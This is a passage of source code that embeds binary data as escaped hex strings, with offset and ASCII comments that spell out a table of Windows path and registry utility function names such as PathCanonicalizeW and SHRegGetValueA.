//adFailureHook.Dl /* 002BE0 */ "\x6C\x47\x65\x74\x56\x65\x72\x73\x69\x6F\x6E\x00\x47\x65\x74\x41" //lGetVersion.GetA /* 002C00 */ "\x63\x63\x65\x70\x74\x4C\x61\x6E\x67\x75\x61\x67\x65\x73\x41\x00" //cceptLanguagesA. /* 002C20 */ "\x47\x65\x74\x41\x63\x63\x65\x70\x74\x4C\x61\x6E\x67\x75\x61\x67" //GetAcceptLanguag /* 002C40 */ "\x65\x73\x57\x00\x47\x65\x74\x4D\x65\x6E\x75\x50\x6F\x73\x46\x72" //esW.GetMenuPosFr /* 002C60 */ "\x6F\x6D\x49\x44\x00\x48\x61\x73\x68\x44\x61\x74\x61\x00\x49\x6E" //omID.HashData.In /* 002C80 */ "\x74\x6C\x53\x74\x72\x45\x71\x57\x6F\x72\x6B\x65\x72\x41\x00\x49" //tlStrEqWorkerA.I /* 002CA0 */ "\x6E\x74\x6C\x53\x74\x72\x45\x71\x57\x6F\x72\x6B\x65\x72\x57\x00" //ntlStrEqWorkerW. /* 002CC0 */ "\x49\x73\x43\x68\x61\x72\x53\x70\x61\x63\x65\x41\x00\x49\x73\x43" //IsCharSpaceA.IsC /* 002CE0 */ "\x68\x61\x72\x53\x70\x61\x63\x65\x57\x00\x50\x61\x74\x68\x41\x64" //harSpaceW.PathAd /* 002D00 */ "\x64\x42\x61\x63\x6B\x73\x6C\x61\x73\x68\x41\x00\x50\x61\x74\x68" //dBackslashA.Path /* 002D20 */ "\x41\x64\x64\x42\x61\x63\x6B\x73\x6C\x61\x73\x68\x57\x00\x50\x61" //AddBackslashW.Pa /* 002D40 */ "\x74\x68\x41\x64\x64\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x41\x00" //thAddExtensionA. /* 002D60 */ "\x50\x61\x74\x68\x41\x64\x64\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E" //PathAddExtension /* 002D80 */ "\x57\x00\x50\x61\x74\x68\x41\x70\x70\x65\x6E\x64\x41\x00\x50\x61" //W.PathAppendA.Pa /* 002DA0 */ "\x74\x68\x41\x70\x70\x65\x6E\x64\x57\x00\x50\x61\x74\x68\x42\x75" //thAppendW.PathBu /* 002DC0 */ "\x69\x6C\x64\x52\x6F\x6F\x74\x41\x00\x50\x61\x74\x68\x42\x75\x69" //ildRootA.PathBui /* 002DE0 */ "\x6C\x64\x52\x6F\x6F\x74\x57\x00\x50\x61\x74\x68\x43\x61\x6E\x6F" //ldRootW.PathCano /* 002E00 */ "\x6E\x69\x63\x61\x6C\x69\x7A\x65\x41\x00\x50\x61\x74\x68\x43\x61" //nicalizeA.PathCa /* 002E20 */ "\x6E\x6F\x6E\x69\x63\x61\x6C\x69\x7A\x65\x57\x00\x50\x61\x74\x68" //nonicalizeW.Path /* 002E40 */ "\x43\x6F\x6D\x62\x69\x6E\x65\x41\x00\x50\x61\x74\x68\x43\x6F\x6D" //CombineA.PathCom /* 002E60 */ "\x62\x69\x6E\x65\x57\x00\x50\x61\x74\x68\x43\x6F\x6D\x6D\x6F\x6E" //bineW.PathCommon /* 002E80 */ "\x50\x72\x65\x66\x69\x78\x41\x00\x50\x61\x74\x68\x43\x6F\x6D\x6D" //PrefixA.PathComm /* 002EA0 */ "\x6F\x6E\x50\x72\x65\x66\x69\x78\x57\x00\x50\x61\x74\x68\x43\x6F" //onPrefixW.PathCo /* 002EC0 */ "\x6D\x70\x61\x63\x74\x50\x61\x74\x68\x41\x00\x50\x61\x74\x68\x43" //mpactPathA.PathC /* 002EE0 */ "\x6F\x6D\x70\x61\x63\x74\x50\x61\x74\x68\x45\x78\x41\x00\x50\x61" //ompactPathExA.Pa /* 002F00 */ "\x74\x68\x43\x6F\x6D\x70\x61\x63\x74\x50\x61\x74\x68\x45\x78\x57" //thCompactPathExW /* 002F20 */ "\x00\x50\x61\x74\x68\x43\x6F\x6D\x70\x61\x63\x74\x50\x61\x74\x68" //.PathCompactPath /* 002F40 */ "\x57\x00\x50\x61\x74\x68\x43\x72\x65\x61\x74\x65\x46\x72\x6F\x6D" //W.PathCreateFrom /* 002F60 */ "\x55\x72\x6C\x41\x00\x50\x61\x74\x68\x43\x72\x65\x61\x74\x65\x46" //UrlA.PathCreateF /* 002F80 */ "\x72\x6F\x6D\x55\x72\x6C\x57\x00\x50\x61\x74\x68\x46\x69\x6C\x65" //romUrlW.PathFile /* 002FA0 */ "\x45\x78\x69\x73\x74\x73\x41\x00\x50\x61\x74\x68\x46\x69\x6C\x65" //ExistsA.PathFile /* 002FC0 */ "\x45\x78\x69\x73\x74\x73\x57\x00\x50\x61\x74\x68\x46\x69\x6E\x64" //ExistsW.PathFind /* 002FE0 */ "\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x41\x00\x50\x61\x74\x68\x46" //ExtensionA.PathF /* 003000 */ "\x69\x6E\x64\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x57\x00\x50\x61" //indExtensionW.Pa /* 003020 */ "\x74\x68\x46\x69\x6E\x64\x46\x69\x6C\x65\x4E\x61\x6D\x65\x41\x00" //thFindFileNameA. /* 003040 */ "\x50\x61\x74\x68\x46\x69\x6E\x64\x46\x69\x6C\x65\x4E\x61\x6D\x65" //PathFindFileName /* 003060 */ "\x57\x00\x50\x61\x74\x68\x46\x69\x6E\x64\x4E\x65\x78\x74\x43\x6F" //W.PathFindNextCo /* 003080 */ "\x6D\x70\x6F\x6E\x65\x6E\x74\x41\x00\x50\x61\x74\x68\x46\x69\x6E" //mponentA.PathFin /* 0030A0 */ "\x64\x4E\x65\x78\x74\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x57\x00" //dNextComponentW. /* 0030C0 */ "\x50\x61\x74\x68\x46\x69\x6E\x64\x4F\x6E\x50\x61\x74\x68\x41\x00" //PathFindOnPathA. /* 0030E0 */ "\x50\x61\x74\x68\x46\x69\x6E\x64\x4F\x6E\x50\x61\x74\x68\x57\x00" //PathFindOnPathW. /* 003100 */ "\x50\x61\x74\x68\x46\x69\x6E\x64\x53\x75\x66\x66\x69\x78\x41\x72" //PathFindSuffixAr /* 003120 */ "\x72\x61\x79\x41\x00\x50\x61\x74\x68\x46\x69\x6E\x64\x53\x75\x66" //rayA.PathFindSuf /* 003140 */ "\x66\x69\x78\x41\x72\x72\x61\x79\x57\x00\x50\x61\x74\x68\x47\x65" //fixArrayW.PathGe /* 003160 */ "\x74\x41\x72\x67\x73\x41\x00\x50\x61\x74\x68\x47\x65\x74\x41\x72" //tArgsA.PathGetAr /* 003180 */ "\x67\x73\x57\x00\x50\x61\x74\x68\x47\x65\x74\x43\x68\x61\x72\x54" //gsW.PathGetCharT /* 0031A0 */ "\x79\x70\x65\x41\x00\x50\x61\x74\x68\x47\x65\x74\x43\x68\x61\x72" //ypeA.PathGetChar /* 0031C0 */ "\x54\x79\x70\x65\x57\x00\x50\x61\x74\x68\x47\x65\x74\x44\x72\x69" //TypeW.PathGetDri /* 0031E0 */ "\x76\x65\x4E\x75\x6D\x62\x65\x72\x41\x00\x50\x61\x74\x68\x47\x65" //veNumberA.PathGe /* 003200 */ "\x74\x44\x72\x69\x76\x65\x4E\x75\x6D\x62\x65\x72\x57\x00\x50\x61" //tDriveNumberW.Pa /* 003220 */ "\x74\x68\x49\x73\x43\x6F\x6E\x74\x65\x6E\x74\x54\x79\x70\x65\x41" //thIsContentTypeA /* 003240 */ "\x00\x50\x61\x74\x68\x49\x73\x43\x6F\x6E\x74\x65\x6E\x74\x54\x79" //.PathIsContentTy /* 003260 */ "\x70\x65\x57\x00\x50\x61\x74\x68\x49\x73\x44\x69\x72\x65\x63\x74" //peW.PathIsDirect /* 003280 */ "\x6F\x72\x79\x41\x00\x50\x61\x74\x68\x49\x73\x44\x69\x72\x65\x63" //oryA.PathIsDirec /* 0032A0 */ "\x74\x6F\x72\x79\x45\x6D\x70\x74\x79\x41\x00\x50\x61\x74\x68\x49" //toryEmptyA.PathI /* 0032C0 */ "\x73\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x45\x6D\x70\x74\x79\x57" //sDirectoryEmptyW /* 0032E0 */ "\x00\x50\x61\x74\x68\x49\x73\x44\x69\x72\x65\x63\x74\x6F\x72\x79" //.PathIsDirectory /* 003300 */ "\x57\x00\x50\x61\x74\x68\x49\x73\x46\x69\x6C\x65\x53\x70\x65\x63" //W.PathIsFileSpec /* 003320 */ "\x41\x00\x50\x61\x74\x68\x49\x73\x46\x69\x6C\x65\x53\x70\x65\x63" //A.PathIsFileSpec /* 003340 */ "\x57\x00\x50\x61\x74\x68\x49\x73\x4C\x46\x4E\x46\x69\x6C\x65\x53" //W.PathIsLFNFileS /* 003360 */ "\x70\x65\x63\x41\x00\x50\x61\x74\x68\x49\x73\x4C\x46\x4E\x46\x69" //pecA.PathIsLFNFi /* 003380 */ "\x6C\x65\x53\x70\x65\x63\x57\x00\x50\x61\x74\x68\x49\x73\x4E\x65" //leSpecW.PathIsNe /* 0033A0 */ "\x74\x77\x6F\x72\x6B\x50\x61\x74\x68\x41\x00\x50\x61\x74\x68\x49" //tworkPathA.PathI /* 0033C0 */ "\x73\x4E\x65\x74\x77\x6F\x72\x6B\x50\x61\x74\x68\x57\x00\x50\x61" //sNetworkPathW.Pa /* 0033E0 */ "\x74\x68\x49\x73\x50\x72\x65\x66\x69\x78\x41\x00\x50\x61\x74\x68" //thIsPrefixA.Path /* 003400 */ "\x49\x73\x50\x72\x65\x66\x69\x78\x57\x00\x50\x61\x74\x68\x49\x73" //IsPrefixW.PathIs /* 003420 */ "\x52\x65\x6C\x61\x74\x69\x76\x65\x41\x00\x50\x61\x74\x68\x49\x73" //RelativeA.PathIs /* 003440 */ "\x52\x65\x6C\x61\x74\x69\x76\x65\x57\x00\x50\x61\x74\x68\x49\x73" //RelativeW.PathIs /* 003460 */ "\x52\x6F\x6F\x74\x41\x00\x50\x61\x74\x68\x49\x73\x52\x6F\x6F\x74" //RootA.PathIsRoot /* 003480 */ "\x57\x00\x50\x61\x74\x68\x49\x73\x53\x61\x6D\x65\x52\x6F\x6F\x74" //W.PathIsSameRoot /* 0034A0 */ "\x41\x00\x50\x61\x74\x68\x49\x73\x53\x61\x6D\x65\x52\x6F\x6F\x74" //A.PathIsSameRoot /* 0034C0 */ "\x57\x00\x50\x61\x74\x68\x49\x73\x53\x79\x73\x74\x65\x6D\x46\x6F" //W.PathIsSystemFo /* 0034E0 */ "\x6C\x64\x65\x72\x41\x00\x50\x61\x74\x68\x49\x73\x53\x79\x73\x74" //lderA.PathIsSyst /* 003500 */ "\x65\x6D\x46\x6F\x6C\x64\x65\x72\x57\x00\x50\x61\x74\x68\x49\x73" //emFolderW.PathIs /* 003520 */ "\x55\x4E\x43\x41\x00\x50\x61\x74\x68\x49\x73\x55\x4E\x43\x53\x65" //UNCA.PathIsUNCSe /* 003540 */ "\x72\x76\x65\x72\x41\x00\x50\x61\x74\x68\x49\x73\x55\x4E\x43\x53" //rverA.PathIsUNCS /* 003560 */ "\x65\x72\x76\x65\x72\x53\x68\x61\x72\x65\x41\x00\x50\x61\x74\x68" //erverShareA.Path /* 003580 */ "\x49\x73\x55\x4E\x43\x53\x65\x72\x76\x65\x72\x53\x68\x61\x72\x65" //IsUNCServerShare /* 0035A0 */ "\x57\x00\x50\x61\x74\x68\x49\x73\x55\x4E\x43\x53\x65\x72\x76\x65" //W.PathIsUNCServe /* 0035C0 */ "\x72\x57\x00\x50\x61\x74\x68\x49\x73\x55\x4E\x43\x57\x00\x50\x61" //rW.PathIsUNCW.Pa /* 0035E0 */ "\x74\x68\x49\x73\x55\x52\x4C\x41\x00\x50\x61\x74\x68\x49\x73\x55" //thIsURLA.PathIsU /* 003600 */ "\x52\x4C\x57\x00\x50\x61\x74\x68\x4D\x61\x6B\x65\x50\x72\x65\x74" //RLW.PathMakePret /* 003620 */ "\x74\x79\x41\x00\x50\x61\x74\x68\x4D\x61\x6B\x65\x50\x72\x65\x74" //tyA.PathMakePret /* 003640 */ "\x74\x79\x57\x00\x50\x61\x74\x68\x4D\x61\x6B\x65\x53\x79\x73\x74" //tyW.PathMakeSyst /* 003660 */ "\x65\x6D\x46\x6F\x6C\x64\x65\x72\x41\x00\x50\x61\x74\x68\x4D\x61" //emFolderA.PathMa /* 003680 */ "\x6B\x65\x53\x79\x73\x74\x65\x6D\x46\x6F\x6C\x64\x65\x72\x57\x00" //keSystemFolderW. /* 0036A0 */ "\x50\x61\x74\x68\x4D\x61\x74\x63\x68\x53\x70\x65\x63\x41\x00\x50" //PathMatchSpecA.P /* 0036C0 */ "\x61\x74\x68\x4D\x61\x74\x63\x68\x53\x70\x65\x63\x57\x00\x50\x61" //athMatchSpecW.Pa /* 0036E0 */ "\x74\x68\x50\x61\x72\x73\x65\x49\x63\x6F\x6E\x4C\x6F\x63\x61\x74" //thParseIconLocat /* 003700 */ "\x69\x6F\x6E\x41\x00\x50\x61\x74\x68\x50\x61\x72\x73\x65\x49\x63" //ionA.PathParseIc /* 003720 */ "\x6F\x6E\x4C\x6F\x63\x61\x74\x69\x6F\x6E\x57\x00\x50\x61\x74\x68" //onLocationW.Path /* 003740 */ "\x51\x75\x6F\x74\x65\x53\x70\x61\x63\x65\x73\x41\x00\x50\x61\x74" //QuoteSpacesA.Pat /* 003760 */ "\x68\x51\x75\x6F\x74\x65\x53\x70\x61\x63\x65\x73\x57\x00\x50\x61" //hQuoteSpacesW.Pa /* 003780 */ "\x74\x68\x52\x65\x6C\x61\x74\x69\x76\x65\x50\x61\x74\x68\x54\x6F" //thRelativePathTo /* 0037A0 */ "\x41\x00\x50\x61\x74\x68\x52\x65\x6C\x61\x74\x69\x76\x65\x50\x61" //A.PathRelativePa /* 0037C0 */ "\x74\x68\x54\x6F\x57\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65" //thToW.PathRemove /* 0037E0 */ "\x41\x72\x67\x73\x41\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65" //ArgsA.PathRemove /* 003800 */ "\x41\x72\x67\x73\x57\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65" //ArgsW.PathRemove /* 003820 */ "\x42\x61\x63\x6B\x73\x6C\x61\x73\x68\x41\x00\x50\x61\x74\x68\x52" //BackslashA.PathR /* 003840 */ "\x65\x6D\x6F\x76\x65\x42\x61\x63\x6B\x73\x6C\x61\x73\x68\x57\x00" //emoveBackslashW. /* 003860 */ "\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65\x42\x6C\x61\x6E\x6B\x73" //PathRemoveBlanks /* 003880 */ "\x41\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65\x42\x6C\x61\x6E" //A.PathRemoveBlan /* 0038A0 */ "\x6B\x73\x57\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65\x45\x78" //ksW.PathRemoveEx /* 0038C0 */ "\x74\x65\x6E\x73\x69\x6F\x6E\x41\x00\x50\x61\x74\x68\x52\x65\x6D" //tensionA.PathRem /* 0038E0 */ "\x6F\x76\x65\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x57\x00\x50\x61" //oveExtensionW.Pa /* 003900 */ "\x74\x68\x52\x65\x6D\x6F\x76\x65\x46\x69\x6C\x65\x53\x70\x65\x63" //thRemoveFileSpec /* 003920 */ "\x41\x00\x50\x61\x74\x68\x52\x65\x6D\x6F\x76\x65\x46\x69\x6C\x65" //A.PathRemoveFile /* 003940 */ "\x53\x70\x65\x63\x57\x00\x50\x61\x74\x68\x52\x65\x6E\x61\x6D\x65" //SpecW.PathRename /* 003960 */ "\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x41\x00\x50\x61\x74\x68\x52" //ExtensionA.PathR /* 003980 */ "\x65\x6E\x61\x6D\x65\x45\x78\x74\x65\x6E\x73\x69\x6F\x6E\x57\x00" //enameExtensionW. /* 0039A0 */ "\x50\x61\x74\x68\x53\x65\x61\x72\x63\x68\x41\x6E\x64\x51\x75\x61" //PathSearchAndQua /* 0039C0 */ "\x6C\x69\x66\x79\x41\x00\x50\x61\x74\x68\x53\x65\x61\x72\x63\x68" //lifyA.PathSearch /* 0039E0 */ "\x41\x6E\x64\x51\x75\x61\x6C\x69\x66\x79\x57\x00\x50\x61\x74\x68" //AndQualifyW.Path /* 003A00 */ "\x53\x65\x74\x44\x6C\x67\x49\x74\x65\x6D\x50\x61\x74\x68\x41\x00" //SetDlgItemPathA. /* 003A20 */ "\x50\x61\x74\x68\x53\x65\x74\x44\x6C\x67\x49\x74\x65\x6D\x50\x61" //PathSetDlgItemPa /* 003A40 */ "\x74\x68\x57\x00\x50\x61\x74\x68\x53\x6B\x69\x70\x52\x6F\x6F\x74" //thW.PathSkipRoot /* 003A60 */ "\x41\x00\x50\x61\x74\x68\x53\x6B\x69\x70\x52\x6F\x6F\x74\x57\x00" //A.PathSkipRootW. /* 003A80 */ "\x50\x61\x74\x68\x53\x74\x72\x69\x70\x50\x61\x74\x68\x41\x00\x50" //PathStripPathA.P /* 003AA0 */ "\x61\x74\x68\x53\x74\x72\x69\x70\x50\x61\x74\x68\x57\x00\x50\x61" //athStripPathW.Pa /* 003AC0 */ "\x74\x68\x53\x74\x72\x69\x70\x54\x6F\x52\x6F\x6F\x74\x41\x00\x50" //thStripToRootA.P /* 003AE0 */ "\x61\x74\x68\x53\x74\x72\x69\x70\x54\x6F\x52\x6F\x6F\x74\x57\x00" //athStripToRootW. /* 003B00 */ "\x50\x61\x74\x68\x55\x6E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x53" //PathUnExpandEnvS /* 003B20 */ "\x74\x72\x69\x6E\x67\x73\x41\x00\x50\x61\x74\x68\x55\x6E\x45\x78" //tringsA.PathUnEx /* 003B40 */ "\x70\x61\x6E\x64\x45\x6E\x76\x53\x74\x72\x69\x6E\x67\x73\x57\x00" //pandEnvStringsW. /* 003B60 */ "\x50\x61\x74\x68\x55\x6E\x64\x65\x63\x6F\x72\x61\x74\x65\x41\x00" //PathUndecorateA. /* 003B80 */ "\x50\x61\x74\x68\x55\x6E\x64\x65\x63\x6F\x72\x61\x74\x65\x57\x00" //PathUndecorateW. /* 003BA0 */ "\x50\x61\x74\x68\x55\x6E\x6D\x61\x6B\x65\x53\x79\x73\x74\x65\x6D" //PathUnmakeSystem /* 003BC0 */ "\x46\x6F\x6C\x64\x65\x72\x41\x00\x50\x61\x74\x68\x55\x6E\x6D\x61" //FolderA.PathUnma /* 003BE0 */ "\x6B\x65\x53\x79\x73\x74\x65\x6D\x46\x6F\x6C\x64\x65\x72\x57\x00" //keSystemFolderW. /* 003C00 */ "\x50\x61\x74\x68\x55\x6E\x71\x75\x6F\x74\x65\x53\x70\x61\x63\x65" //PathUnquoteSpace /* 003C20 */ "\x73\x41\x00\x50\x61\x74\x68\x55\x6E\x71\x75\x6F\x74\x65\x53\x70" //sA.PathUnquoteSp /* 003C40 */ "\x61\x63\x65\x73\x57\x00\x53\x48\x41\x6C\x6C\x6F\x63\x53\x68\x61" //acesW.SHAllocSha /* 003C60 */ "\x72\x65\x64\x00\x53\x48\x41\x75\x74\x6F\x43\x6F\x6D\x70\x6C\x65" //red.SHAutoComple /* 003C80 */ "\x74\x65\x00\x53\x48\x43\x6F\x70\x79\x4B\x65\x79\x41\x00\x53\x48" //te.SHCopyKeyA.SH /* 003CA0 */ "\x43\x6F\x70\x79\x4B\x65\x79\x57\x00\x53\x48\x43\x72\x65\x61\x74" //CopyKeyW.SHCreat /* 003CC0 */ "\x65\x53\x68\x65\x6C\x6C\x50\x61\x6C\x65\x74\x74\x65\x00\x53\x48" //eShellPalette.SH /* 003CE0 */ "\x43\x72\x65\x61\x74\x65\x53\x74\x72\x65\x61\x6D\x4F\x6E\x46\x69" //CreateStreamOnFi /* 003D00 */ "\x6C\x65\x41\x00\x53\x48\x43\x72\x65\x61\x74\x65\x53\x74\x72\x65" //leA.SHCreateStre /* 003D20 */ "\x61\x6D\x4F\x6E\x46\x69\x6C\x65\x45\x78\x00\x53\x48\x43\x72\x65" //amOnFileEx.SHCre /* 003D40 */ "\x61\x74\x65\x53\x74\x72\x65\x61\x6D\x4F\x6E\x46\x69\x6C\x65\x57" //ateStreamOnFileW /* 003D60 */ "\x00\x53\x48\x43\x72\x65\x61\x74\x65\x53\x74\x72\x65\x61\x6D\x57" //.SHCreateStreamW /* 003D80 */ "\x72\x61\x70\x70\x65\x72\x00\x53\x48\x43\x72\x65\x61\x74\x65\x54" //rapper.SHCreateT /* 003DA0 */ "\x68\x72\x65\x61\x64\x00\x53\x48\x43\x72\x65\x61\x74\x65\x54\x68" //hread.SHCreateTh /* 003DC0 */ "\x72\x65\x61\x64\x52\x65\x66\x00\x53\x48\x44\x65\x6C\x65\x74\x65" //readRef.SHDelete /* 003DE0 */ "\x45\x6D\x70\x74\x79\x4B\x65\x79\x41\x00\x53\x48\x44\x65\x6C\x65" //EmptyKeyA.SHDele /* 003E00 */ "\x74\x65\x45\x6D\x70\x74\x79\x4B\x65\x79\x57\x00\x53\x48\x44\x65" //teEmptyKeyW.SHDe /* 003E20 */ "\x6C\x65\x74\x65\x4B\x65\x79\x41\x00\x53\x48\x44\x65\x6C\x65\x74" //leteKeyA.SHDelet /* 003E40 */ "\x65\x4B\x65\x79\x57\x00\x53\x48\x44\x65\x6C\x65\x74\x65\x4F\x72" //eKeyW.SHDeleteOr /* 003E60 */ "\x70\x68\x61\x6E\x4B\x65\x79\x41\x00\x53\x48\x44\x65\x6C\x65\x74" //phanKeyA.SHDelet /* 003E80 */ "\x65\x4F\x72\x70\x68\x61\x6E\x4B\x65\x79\x57\x00\x53\x48\x44\x65" //eOrphanKeyW.SHDe /* 003EA0 */ "\x6C\x65\x74\x65\x56\x61\x6C\x75\x65\x41\x00\x53\x48\x44\x65\x6C" //leteValueA.SHDel /* 003EC0 */ "\x65\x74\x65\x56\x61\x6C\x75\x65\x57\x00\x53\x48\x45\x6E\x75\x6D" //eteValueW.SHEnum /* 003EE0 */ "\x4B\x65\x79\x45\x78\x41\x00\x53\x48\x45\x6E\x75\x6D\x4B\x65\x79" //KeyExA.SHEnumKey /* 003F00 */ "\x45\x78\x57\x00\x53\x48\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x41" //ExW.SHEnumValueA /* 003F20 */ "\x00\x53\x48\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x57\x00\x53\x48" //.SHEnumValueW.SH /* 003F40 */ "\x46\x72\x65\x65\x53\x68\x61\x72\x65\x64\x00\x53\x48\x47\x65\x74" //FreeShared.SHGet /* 003F60 */ "\x49\x6E\x76\x65\x72\x73\x65\x43\x4D\x41\x50\x00\x53\x48\x47\x65" //InverseCMAP.SHGe /* 003F80 */ "\x74\x54\x68\x72\x65\x61\x64\x52\x65\x66\x00\x53\x48\x47\x65\x74" //tThreadRef.SHGet /* 003FA0 */ "\x56\x61\x6C\x75\x65\x41\x00\x53\x48\x47\x65\x74\x56\x61\x6C\x75" //ValueA.SHGetValu /* 003FC0 */ "\x65\x57\x00\x53\x48\x47\x65\x74\x56\x69\x65\x77\x53\x74\x61\x74" //eW.SHGetViewStat /* 003FE0 */ "\x65\x50\x72\x6F\x70\x65\x72\x74\x79\x42\x61\x67\x00\x53\x48\x49" //ePropertyBag.SHI /* 004000 */ "\x73\x4C\x6F\x77\x4D\x65\x6D\x6F\x72\x79\x4D\x61\x63\x68\x69\x6E" //sLowMemoryMachin /* 004020 */ "\x65\x00\x53\x48\x4C\x6F\x61\x64\x49\x6E\x64\x69\x72\x65\x63\x74" //e.SHLoadIndirect /* 004040 */ "\x53\x74\x72\x69\x6E\x67\x00\x53\x48\x4C\x6F\x63\x6B\x53\x68\x61" //String.SHLockSha /* 004060 */ "\x72\x65\x64\x00\x53\x48\x4F\x70\x65\x6E\x52\x65\x67\x53\x74\x72" //red.SHOpenRegStr /* 004080 */ "\x65\x61\x6D\x32\x41\x00\x53\x48\x4F\x70\x65\x6E\x52\x65\x67\x53" //eam2A.SHOpenRegS /* 0040A0 */ "\x74\x72\x65\x61\x6D\x32\x57\x00\x53\x48\x4F\x70\x65\x6E\x52\x65" //tream2W.SHOpenRe /* 0040C0 */ "\x67\x53\x74\x72\x65\x61\x6D\x41\x00\x53\x48\x4F\x70\x65\x6E\x52" //gStreamA.SHOpenR /* 0040E0 */ "\x65\x67\x53\x74\x72\x65\x61\x6D\x57\x00\x53\x48\x51\x75\x65\x72" //egStreamW.SHQuer /* 004100 */ "\x79\x49\x6E\x66\x6F\x4B\x65\x79\x41\x00\x53\x48\x51\x75\x65\x72" //yInfoKeyA.SHQuer /* 004120 */ "\x79\x49\x6E\x66\x6F\x4B\x65\x79\x57\x00\x53\x48\x51\x75\x65\x72" //yInfoKeyW.SHQuer /* 004140 */ "\x79\x56\x61\x6C\x75\x65\x45\x78\x41\x00\x53\x48\x51\x75\x65\x72" //yValueExA.SHQuer /* 004160 */ "\x79\x56\x61\x6C\x75\x65\x45\x78\x57\x00\x53\x48\x52\x65\x67\x43" //yValueExW.SHRegC /* 004180 */ "\x6C\x6F\x73\x65\x55\x53\x4B\x65\x79\x00\x53\x48\x52\x65\x67\x43" //loseUSKey.SHRegC /* 0041A0 */ "\x72\x65\x61\x74\x65\x55\x53\x4B\x65\x79\x41\x00\x53\x48\x52\x65" //reateUSKeyA.SHRe /* 0041C0 */ "\x67\x43\x72\x65\x61\x74\x65\x55\x53\x4B\x65\x79\x57\x00\x53\x48" //gCreateUSKeyW.SH /* 0041E0 */ "\x52\x65\x67\x44\x65\x6C\x65\x74\x65\x45\x6D\x70\x74\x79\x55\x53" //RegDeleteEmptyUS /* 004200 */ "\x4B\x65\x79\x41\x00\x53\x48\x52\x65\x67\x44\x65\x6C\x65\x74\x65" //KeyA.SHRegDelete /* 004220 */ "\x45\x6D\x70\x74\x79\x55\x53\x4B\x65\x79\x57\x00\x53\x48\x52\x65" //EmptyUSKeyW.SHRe /* 004240 */ "\x67\x44\x65\x6C\x65\x74\x65\x55\x53\x56\x61\x6C\x75\x65\x41\x00" //gDeleteUSValueA. /* 004260 */ "\x53\x48\x52\x65\x67\x44\x65\x6C\x65\x74\x65\x55\x53\x56\x61\x6C" //SHRegDeleteUSVal /* 004280 */ "\x75\x65\x57\x00\x53\x48\x52\x65\x67\x44\x75\x70\x6C\x69\x63\x61" //ueW.SHRegDuplica /* 0042A0 */ "\x74\x65\x48\x4B\x65\x79\x00\x53\x48\x52\x65\x67\x45\x6E\x75\x6D" //teHKey.SHRegEnum /* 0042C0 */ "\x55\x53\x4B\x65\x79\x41\x00\x53\x48\x52\x65\x67\x45\x6E\x75\x6D" //USKeyA.SHRegEnum /* 0042E0 */ "\x55\x53\x4B\x65\x79\x57\x00\x53\x48\x52\x65\x67\x45\x6E\x75\x6D" //USKeyW.SHRegEnum /* 004300 */ "\x55\x53\x56\x61\x6C\x75\x65\x41\x00\x53\x48\x52\x65\x67\x45\x6E" //USValueA.SHRegEn /* 004320 */ "\x75\x6D\x55\x53\x56\x61\x6C\x75\x65\x57\x00\x53\x48\x52\x65\x67" //umUSValueW.SHReg /* 004340 */ "\x47\x65\x74\x42\x6F\x6F\x6C\x55\x53\x56\x61\x6C\x75\x65\x41\x00" //GetBoolUSValueA. /* 004360 */ "\x53\x48\x52\x65\x67\x47\x65\x74\x42\x6F\x6F\x6C\x55\x53\x56\x61" //SHRegGetBoolUSVa /* 004380 */ "\x6C\x75\x65\x57\x00\x53\x48\x52\x65\x67\x47\x65\x74\x50\x61\x74" //lueW.SHRegGetPat /* 0043A0 */ "\x68\x41\x00\x53\x48\x52\x65\x67\x47\x65\x74\x50\x61\x74\x68\x57" //hA.SHRegGetPathW /* 0043C0 */ "\x00\x53\x48\x52\x65\x67\x47\x65\x74\x55\x53\x56\x61\x6C\x75\x65" //.SHRegGetUSValue /* 0043E0 */ "\x41\x00\x53\x48\x52\x65\x67\x47\x65\x74\x55\x53\x56\x61\x6C\x75" //A.SHRegGetUSValu /* 004400 */ "\x65\x57\x00\x53\x48\x52\x65\x67\x47\x65\x74\x56\x61\x6C\x75\x65" //eW.SHRegGetValue /* 004420 */ "\x41\x00\x53\x48\x52\x65\x67\x47\x65\x74\x56\x61\x6C\x75\x65\x57" //A.SHRegGetValueW /* 004440 */ "\x00\x53\x48\x52\x65\x67\x4F\x70\x65\x6E\x55\x53\x4B\x65\x79\x41" //.SHRegOpenUSKeyA /* 004460 */ "\x00\x53\x48\x52\x65\x67\x4F\x70\x65\x6E\x55\x53\x4B\x65\x79\x57" //.SHRegOpenUSKeyW /* 004480 */ "\x00\x53\x48\x52\x65\x67\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x55" //.SHRegQueryInfoU /* 0044A0 */ "\x53\x4B\x65\x79\x41\x00\x53\x48\x52\x65\x67\x51\x75\x65\x72\x79" //SKeyA.SHRegQuery /* 0044C0 */ "\x49\x6E\x66\x6F\x55\x53\x4B\x65\x79\x57\x00\x53\x48\x52\x65\x67" //InfoUSKeyW.SHReg /* 0044E0 */ "\x51\x75\x65\x72\x79\x55\x53\x56\x61\x6C\x75\x65\x41\x00\x53\x48" //QueryUSValueA.SH /* 004500 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x55\x53\x56\x61\x6C\x75\x65\x57" //RegQueryUSValueW /* 004520 */ "\x00\x53\x48\x52\x65\x67\x53\x65\x74\x50\x61\x74\x68\x41\x00\x53" //.SHRegSetPathA.S /* 004540 */ "\x48\x52\x65\x67\x53\x65\x74\x50\x61\x74\x68\x57\x00\x53\x48\x52" //HRegSetPathW.SHR /* 004560 */ "\x65\x67\x53\x65\x74\x55\x53\x56\x61\x6C\x75\x65\x41\x00\x53\x48" //egSetUSValueA.SH /* 004580 */ 